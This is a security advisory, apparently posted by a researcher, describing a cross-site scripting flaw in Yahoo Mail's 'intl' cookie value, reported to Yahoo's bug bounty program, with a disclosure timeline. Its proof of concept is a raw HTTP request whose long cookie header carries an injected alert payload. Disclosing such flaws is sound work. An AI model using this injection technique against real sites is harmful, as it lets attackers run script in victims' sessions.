Yahoo intl Cross Site Scripting

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Here is the my last advisory which I've reported in 2013 to the Yahoo  
Bug Bounty Program. And again...the same story for this report as for my  
others :-/  
  
If you're interested, you can read it here:  
  
http://darksecurity.de/index.php?/259-Yahoo-Bug-Bounty-Program-Vulnerability-1-XSS-on-ads.yahoo.com.html  
http://darksecurity.de/index.php?/254-Yahoo-Bug-Bounty-Program-Vulnerability-2-Open-Redirect.html  
  
Advisory: Yahoo Bug Bounty Program Vulnerability #3  
XSS on de-mg42.mail.yahoo.com  
Advisory ID: SSCHADV2013-YahooBB-002  
Author: Stefan Schurtz  
Affected Software: Successfully tested on de-mg42.mail.yahoo.com  
Vendor URL: http://yahoo.com/  
Vendor Status: Not tested anymore  
Bounty: nothing  
  
==========================  
Vulnerability Description  
==========================  
  
The 'intl'-Paramter on "https://de-mg42.mail.yahoo.com/" is prone to a  
Cross-site Scripting vulnerability  
  
==========================  
PoC-Exploit  
==========================  
  
GET https://de-mg42.mail.yahoo.com/neo/launch?.rand=02j5el0e9m3mr  
  
Host: de-mg42.mail.yahoo.com  
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101  
Firefox/25.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: YM.SREQs.schurtz=1;  
YM.NEO_114841791630661482=width=1920&height=874; B=aj6vf6l8j20rv&b=4&  
d=itbFpMNpYFMz7rPwe5JFum_ghxk-&s=i8&i=lvGlArFYMBIJ47eKw1fV;  
RMBX=aj6vf6l8j20rv&b=3&s=0k&t=59; V=v=0.90&cc=0&m=0;  
POPUPCHECK=1387130698530; adx=c322590@1386248182@1;  
T=z=bslqSBbANvSBRhTgC/z0ojCNjA2MAY2NjNPMzYwTjYxNDcxMT&a=QAE&  
sk=DAA8V8EU20nhMO&ks=EAAl0SH4Wfzh6QOSww.4WR97g--~E&d=c2wBTVRjeE53RXhNVFE0TkRFM09URTJNekEyTmpFME9ESS0BYQFRQUUBZwFYR1lLREF  
LVTdFWjU0SjY3QVJaUEYyMzZZSQFzY2lkAWJIVnpjWTF0a  
DdTVFREVFJLZUtxem4yeC5DWS0BYWMBQUVERkQ5VWQBdGlwAWQ1OTc3RAFzYwF3bAF6egFic2xxU0JBN0U-;  
F=a=5wuRvLEMvSo9VbE7dA3FBiS57T.ECJPqZKL7SqUSshaxgafrUTyTA2TfmjWAGc1FiTDSLSw-  
&b=_pW9; PH=l=de-DE&i=de&fn=K2_4Upj6Mg1KYq4D9FKN;  
SSL=v=1&s=ZKphB8TnY2DMWrNEU3WnQdsBp50y6G.DA.GMkzNJBkkaUPmmwLBscSpK5X5gJjBMR671vlpoBasj8HY6cXSNbA--&  
kv=0; ywadp100034076556=3167627385;  
fpc100034076556=ZavCj2Fd|aEGcHAwNaa|fses100034076556=|aEGcHAwNaa|  
ZavCj2Fd|fvis100034076556=|8Mo080oosT|8Mo080oosT|8Mo080oosT|8|8Mo080oosT|8Mo080oosT;  
ywadp1000357943879=4084605029;  
fpc1000357943879=ZbHoAVDq|0UsAOAwNaa|fses1000357943879=|0UsAOAwNaa|ZbHoAVDq|fvis1000357943879=  
|8Mo0807780|8Mo0807780|8Mo0807780|8|8Mo0807780|8Mo0807780; AO=o=0;  
YLS=v=1&p=1&n=0; ucs=bnas=0&eup=1;  
_br_uid_2=uid%3D9863339468277%3Av%3D10.6.1%3Ats%3D1386895411464%3Ahc%3D1; Y=v=1&n=d7kp7cfrj6gcm&l=i.i27khjp/o  
&p=m2evvde012000000&iz=&r=sd&lg=de-DE&intl=dec52a6"-alert(document.domain)-"c8d9133635e;  
U=mt=fnqDoZ2MhYjxjMnSZ.dZc46HZp7QbCgwGOhf97k-&  
ux=u2JrSB&un=d7kp7cfrj6gcm; ypcdb=cf2c3147a30c5264ccbae29c07ec31b3;  
YM=v=2&u=bTYqAOaoqXPwtE2NaDnywgQ.MkXnpDL1MkqqIA--&d=&f=AAA&t=3bKrSB&s=55nr;  
DK=v=2&p=NnwyMzMwfFZpcnR1YWx8RGVza3RvcCBCcm93c2VyfHdpbmRvd3MgbnR8NS4x  
Connection: keep-alive  
  
==========================  
Disclosure Timeline  
==========================  
  
15-Dec-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)  
31-Dec-2013 - next message to the Yahoo Securiy Contact  
04-Jan-2014 - feedback from vendor  
04-Jan-2014 - vendor informed again about the three vulnerabilities  
06-Jan-2014 - feedback from vendor  
15-Jan-2014 - contact with Jeff Zingler (Threat Response@Yahoo)  
16-Jan-2013 - contact with Jeff Zingler (Threat Response@Yahoo) // last  
contact  
  
==========================  
Credits  
==========================  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://yahoo.com/  
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-003.txt  
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